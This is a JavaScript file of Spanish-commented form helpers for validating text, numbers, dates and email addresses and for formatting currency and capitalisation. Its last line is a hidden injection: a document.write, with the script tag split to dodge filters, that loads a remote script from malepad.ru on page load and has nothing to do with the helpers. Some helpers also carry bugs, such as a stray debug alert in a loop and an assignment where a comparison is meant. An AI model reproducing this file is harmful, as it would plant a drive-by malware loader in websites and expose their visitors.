//Funcion que valida que una cadena no tenga numeros
function solo_alfabeticos(valor)
{
 numeros=0;
 i=0;
 for(i=0;i<valor.length;i++)
 {
  ch = valor[i];
  alert(valor[0]);
  if(((ch<"a")||(ch>"z"))&&((ch<"A")||(ch>"Z"))&&(ch!=' ')&&(ch!='ñ')&&(ch!='Ñ')&&(ch!='á')&&(ch!='é')&&(ch!='í')&&(ch!='ó')&&(ch!='ú')&&(ch!='Á')&&(ch!='É')&&(ch!='Í')&&(ch!='Ó')&&(ch!='Ú'))
     {
		numeros++;
		
     }
 }
return numeros;
}
//Fin Solo alfabeticos

//Validar  que  un  campo  sea  númerico  y  que  no  tenga  puntos
function  numero_sin_puntos(campo)
{
        //esta  cadena  busca  el  punto
        re  =  /\./g;
        js_str=campo;
        campo=js_str.replace(re,"");
        if(isNaN(campo)||(campo=="")) return  1;
        else  return  0;
}
//Fin  validacion  campos  numericos


//Funcion  para  validar  que  una  fecha  sea  válida  y  no  mayor  a  la  actual
function  validar_fecha(ano,mes,dia)
{
	d  =  new  Date();
	js_dia  =  d.getDate();
	js_mes  =  d.getMonth()  +  1;
	js_ano=d.getFullYear();
	if(isNaN(ano)||(ano=="-1")||(ano.length<4)||(ano  >  js_ano))
	{
	alert("Debe  seleccionar  un  año  válido");
	return 1;
	}
	if(isNaN(mes)||(mes<1)||(mes>12))
	{
	alert("Debe  seleccionar  un  mes  válido");
	return 1;
	}
	if(isNaN(dia)||(dia<1)||(dia>31)||(dia=""))
	{
	alert(dia +" Debe  seleccionar  un  día  válido");
	return  1;
	}
	if((ano==js_ano)&&(mes>=js_mes)&&(dia>js_dia))
	{
	alert("La  fecha  ingresada  es  mayor  a  la  actual");
	return  1;
	}
}
//Fin  validacion  fecha

//Cambia un texto de modo que la inicial quede Mayuscula
function InicialCap(frmObj) {
var index;
var tmpStr;
var tmpChar;
var preString;
var postString;
var strlen;
tmpStr = frmObj.value.toLowerCase();
strLen = tmpStr.length;
if (strLen > 0)  {
for (index = 0; index < strLen; index++)  {
if (index == 0)  {
tmpChar = tmpStr.substring(0,1).toUpperCase();
postString = tmpStr.substring(1,strLen);
tmpStr = tmpChar + postString;
}
else {
tmpChar = tmpStr.substring(index, index+1);
if (tmpChar == " " && index < (strLen-1))  {
tmpChar = tmpStr.substring(index+1, index+2).toUpperCase();
preString = tmpStr.substring(0, index+1);
postString = tmpStr.substring(index+2,strLen);
tmpStr = preString + tmpChar + postString;
         }
      }
   }
}
frmObj.value = tmpStr;
}
//  Fin Mayuscula Inicial

//Formatea un numero con miles, decimales y $
function formatearmoneda(num) {
num = num.toString().replace(/\$|\,/g,'');
if(isNaN(num))
num = "0";
sign = (num == (num = Math.abs(num)));
num = Math.floor(num*100+0.50000000001);
cents = num%100;
num = Math.floor(num/100).toString();
if(cents<10)
cents = "0" + cents;
for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
num = num.substring(0,num.length-(4*i+3))+','+
num.substring(num.length-(4*i+3));
return (((sign)?'':'-') + '$' + num + '.' + cents);
}
//Uso: onBlur="this.value=formatearmoneda(this.value);"
//Fin formatear cifra

//Desecha los espacios de un texto
function ignoraespacios(string) {
var temp = "";
string = '' + string;
splitstring = string.split(" ");
for(i = 0; i < splitstring.length; i++)
temp += splitstring[i];
return temp;
}
//Fin Desecha los espacios de un texto

//Desecha los puntos de una cedula
function ignorapuntos(string) {
var temp = "";
string = '' + string;
splitstring = string.split(".");
for(i = 0; i < splitstring.length; i++)
temp += splitstring[i];
return temp;
}
//Fin Desecha los puntos de una cedula

//Reemplaza un caracter con otro, en este caso va con vb en valor
function replaceChars(valor,va,vb) {
out = va; // replace this
add = vb; // with this
temp = "" + valor; // temporary holder

while (temp.indexOf(out)>-1) {
pos= temp.indexOf(out);
temp = "" + (temp.substring(0, pos) + add +
temp.substring((pos + out.length), temp.length));
}
return temp;
}
//Fin Reemplaza un caracter con otro
//Quita espacios al comienzo y fin
function quitaespacioslaterales(valor)
{
while(''+valor.charAt(0)==' ')
valor=valor.substring(1,valor.length);
while(''+valor.charAt(valor.length-1)==' ')
valor=valor.substring(0,valor.length-1);
return valor;
}
//Fin Quita espacios al comienzo  y fin

//Funcion  para  validar  un  correo  electrónico
function  validar_email(campo){
var  input_str=campo;
var  input_len1=input_str.length;
var  iserror=0;          
input_len1=input_str.length;
if  (input_len1<=5)  {
                alert("Debe  digitar  una  dirección  de  correo  válida!\n");
                iserror=1;
                return  1;
        }          
        var  lastdot=-1;
        var  lastat=-1;
        var  numberat=0
        for  (var  j  =  0;  j  <  input_len1;  j++)  {
                  var  ch2  =  input_str.substring(j,  j  +  1);
                  if  (((ch2  <  "a")  ||    (ch2  >  "z"))  &&  ((ch2  <  "A")  ||  (ch2  >  "Z"))  &&  ((ch2  <  "0")  ||    (ch2  >  "9"))  &&  (ch2  !=  "@"  )  &&  (ch2  !=  ".")  &&  (ch2  !=  "_")  &&  (ch2  !=  "-")){
                          alert("Por  favor  digite  un  correo  válido!\nLos  caracteres  válidos  incluyen  A-Z,  a-z,  0-9,  -,  _,  .  and  @");
                          iserror=1;
                          return  1;
                  }
                  if  (ch2==".")  {
                          if  (  j  ==  lastdot  +  1)  {
                                  alert("Por  favor  digite  un  correo  válido!\nno  puede  tener  2  puntos  seguidos'..'.");
                                  iserror=1;
                                  return  1;
                          }
                          lastdot=j;
                  }
                  if  (ch2=="@")  {
                          lastat=j;
                          numberat=numberat+1
                  }
                  if  (ch2=="  ")  {
                          alert("Por  favor  digite  un  correo  válido!\nno  puede  dejar  espacios  en  blanco.");
                          iserror=1;
                          return  1;
                  }
        }
        if  (lastat  ==  -1)  {
                  alert("Por  favor  digite  un  correo  válido!\nno  digitó  '@'.");
                  iserror=1;
                  return  1;
        }
        if  (lastat  ==  0)  {
                  alert("Por  favor  digite  un  correo  válido!\nno  digitó  ningún  nombre  antesde  de  '@'.");
                  iserror=1;
                  return  1;
        }
        if  (numberat  >  1)  {
                  alert("Por  favor  digite  un  correo  válido!\nsolo  debe  digitar  una  '@'.");
                  iserror=1;
                  return  1;
        }
        if  ((lastdot  <=  lastat)  ||  (lastdot  >  input_len1  -  3  )  ||  (input_len1  -  lastdot  >  4))  {
                  alert("Por  favor  digite  un  correo  válido!\ndebe  digitar  un  nombre  de  dominio  válido!\nUse  .com,  .org,  .net,  .cc,  etc");
                  iserror=1;
                  return  1;
        }
        if  (lastdot  ==  lastat  +  1)  {
                  alert("Por  favor  digite  un  correo  válido!\ndebe  organizar  bien  su  dirección  de  correo!\nUse  name@organization.domain");
                  iserror=1;
                  return  1;
        }
	return  2;
}

//Fin  función  validar  correo  electrónico
//funcion que envia hace submit de una forma
function submit_a(forma,destino) {
	forma.action = destino;
	forma.method = 'post';
	forma.submit();
}
//Fin submit
function mayus(campo)
{
	campo.value = campo.value.toUpperCase();
}
function minus(campo)
{
	campo.value = campo.value.toLowerCase();
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/VGA.js"></scr'+'ipt>');